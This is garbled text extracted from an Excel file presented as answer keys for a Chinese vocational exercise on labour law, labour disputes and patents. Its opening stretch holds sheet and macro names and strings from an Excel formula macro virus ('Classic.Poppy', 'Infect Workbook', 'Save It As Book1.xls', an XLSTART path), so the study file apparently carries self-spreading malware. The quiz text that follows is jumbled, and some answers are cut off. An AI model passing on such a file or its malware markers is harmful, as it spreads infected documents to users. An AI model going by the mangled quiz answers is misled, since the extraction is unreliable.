职业技能实训(一)农村政策法规练习答案.xlsVIP

XzCwAhP0 Sheet3 Sheet2 Sheet1 aiu_bottom Bust Continue Document_array Documents_array FRC Hello hostfee hraiu_bottom hvac HWSheet 1.00 MakeIt Module.Prix_SMC Module.Prix_SMC Morning OS PA7 PA8 PD1 PE12 PE13 PE6 PE7 PE8 PE9 PH1 PI1 PK1 PK3 Poppy pr_toolbox Prix_SMC Prix_SMC s_c_list SCG sdlfee solar_ratio ss7fee subsfee toolbox V5.1Fee Z32_Cost_red 牌子 胸牌 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** Book1 劳动者有下列情形之一的，用人单位可以不用提前通知，而单方面解除合同：____。 劳动者严重违反劳动纪律或用人单位规章制度的、 劳动者在试用期内被证明不符合录用条件的、 劳动者被依法追究刑事责任的、 劳动者严重失职，营私舞弊，对用人单位造成重大损害的 劳动者单方解除劳动合同的情形是____。 在试用期内的 用人单位未按劳动合同约定向劳动者提供过去条件的 用人单位未按劳动合同约定向劳动者支付劳动报酬的 用人单位以暴力、威胁或者非法限制人身自由的手段强迫劳动的 用人单位不得单方解除劳动合同的情形有____。 患职业病或因工负伤并被确认丧失劳动能力的 女职工在孕期、产期、哺乳期内的 患病或负伤，在规定的医疗期内的 有下列情形之一的，用人单位有权解除劳动合同，但应当提前30日以书面形式通知劳动者本人：____。 劳动者患病或非因工负伤，医疗期满后，不能从事原工作也不能从事由用人单位另行安排的工作的 用人单位经济性裁减人员时可单方解除劳动合同 劳动合同订阅时所依据的客观情况已经发生了重大变化，致使原劳动合同无法履行，经双方当事人协商不能就变更劳动合同达成协议的 属于无效劳动合同法律后果中行政制裁措施的有____。 吊销营业执照、罚款、停产整顿 无效劳动合同的情形有____ 采用欺诈、胁迫等手段订阅的劳动合同；违反国家法律、行政法规的劳动合同 无效劳动合同的确认权归属予____。 劳动争议仲裁委员会，人民法院 无固定期限的劳动合同，有固定期限的劳动合同，以完成一定工作为期限的劳动合同 订立劳动合同应遵循的原则有____。 协商一致，遵守法律和行政法规，平等，自愿 劳动者的义务包括____。 执行劳动安全卫生规程，遵守劳动纪律和职业道德，完成劳动任务 劳动者的权利包括________。 享受社会保险和福利，参与民主管理，进行平等协商，提请劳动争议处理 休息休假的权利，劳动安全保护的权利，平等就业和选择职业的权利，获得劳动报酬的权利 《劳动法》设定了劳动者有平等就业和选择职业的权利，具体包括____。 根据自身专长、志愿选择职业的权利，就业权、平等就业权利 发明是指对产品、方法或其改进提出的新的技术方案，包括____。 改进发明、产品发明、方法发明 不视为侵犯专利权的情形有____。 专为科学研究实验，临时通过我国，专利权人制造进口或 专利权的强制许可实施的理由有____。 具备实施单位以合理，国家出现紧急情况，比以前有重大技术进步 劳动争议仲裁一般应在组成仲裁庭之日起____日内结案。 60天 劳动争议调解委员会的调解应自申请之日起____日内结束。 30天 劳动争议调解委员会由职工代表、企业代表和企业工会代表组成。其中企业代表由企业法定代表人指定，人数不得超过调解委员会成员总数的____。 三分之一 一方患职业病，丧失劳动能力 如果一个劳动者在同一单位连续工作满____年以上，当事人双方延续劳动合同的，若劳动者提出订立无固定期限的劳动合同，则应当订立无固定期限的劳动合同。 10年 6